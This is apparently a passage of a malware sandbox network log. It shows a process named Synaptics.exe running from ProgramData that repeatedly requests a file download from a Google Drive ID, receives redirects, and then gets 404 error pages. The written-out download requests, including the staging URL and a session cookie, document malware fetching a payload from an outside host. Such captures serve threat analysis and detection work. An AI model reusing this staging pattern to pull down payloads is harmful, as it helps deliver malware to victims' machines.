2025-01-02 19:28:47 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.6	50078	142.250.185.78	443	5484	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:47 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.6	50080	142.250.185.78	443	5484	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:47 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.6	50089	142.250.185.78	443	5484	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:48 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
2025-01-02 19:28:49 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:28:48 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-W5it8K8wPEa9bIN5mAIduA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.6	50088	142.250.185.78	443	5484	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:48 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
2025-01-02 19:28:49 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:28:48 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-wWRbOqygpSkv7lfqHEDe_Q' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.6	50101	142.250.185.78	443	5484	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:49 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
2025-01-02 19:28:50 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:28:49 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-vRfVgQS1lL7cS5y2_yeyuQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.6	50102	142.250.185.65	443	5484	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:49 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
2025-01-02 19:28:50 UTC	1250	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC7NVD_M6pmk3R53sBxLrfCEa4jSm3vD6GtczvCj4t1psLzRp-JB9svByds6XqlTEXWm2Buioos Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:28:50 GMT Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-7l1SgH2cF_CruccP8B8cdg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:28:50 UTC	140	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error
2025-01-02 19:28:50 UTC	1390	IN	Data Raw: 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 73 51 57 6a 4a 6a 62 65 30 71 71 30 67 41 6f 69 6b 61 58 4f 55 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b Data Ascii: 404 (Not Found)!!1</title><style nonce="sQWjJjbe0qq0gAoikaXOUw">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;
2025-01-02 19:28:50 UTC	122	IN	Data Raw: 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.6	50100	142.250.185.65	443	5484	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:49 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
2025-01-02 19:28:50 UTC	1250	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC5vOgBVA3FjAB8Y6pfEXZTqKa9ZjRXfeNhYa-yampaqpGWFismXQwF_d8fA_79nglP0kqkrsjI Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:28:50 GMT Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-CuAwD5xXZ0AQJ9hX8qXKpw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:28:50 UTC	140	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error
2025-01-02 19:28:50 UTC	1390	IN	Data Raw: 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 31 65 43 74 62 63 54 47 4b 4b 54 45 39 61 7a 63 39 52 47 74 41 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b Data Ascii: 404 (Not Found)!!1</title><style nonce="1eCtbcTGKKTE9azc9RGtAA">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;
2025-01-02 19:28:50 UTC	122	IN	Data Raw: 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.2.6	50099	142.250.185.78	443	5484	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:49 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
2025-01-02 19:28:50 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:28:50 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-7YWnyf29gWCn2k0c-b6syQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.6	50111	142.250.185.78	443	5484	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:50 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
2025-01-02 19:28:51 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:28:51 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: script-src 'report-sample' 'nonce-t5pCSrWDEmLe0hds--42HA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.6	50112	142.250.185.78	443	5484	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:50 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
2025-01-02 19:28:51 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:28:51 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-Q6KIuWEKS9OVehSnRURN7A' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
112	192.168.2.6	50113	142.250.185.65	443	5484	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:50 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
2025-01-02 19:28:51 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC4OeOi8bGcCRfQo40lLUl-_E6N7E5qUE0mEWm_QW2LOZPWT3lsURO7zstIk9QG6frQN Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:28:51 GMT Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-U0cnzXCyqBLi_DmvvvEL5w' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:28:51 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
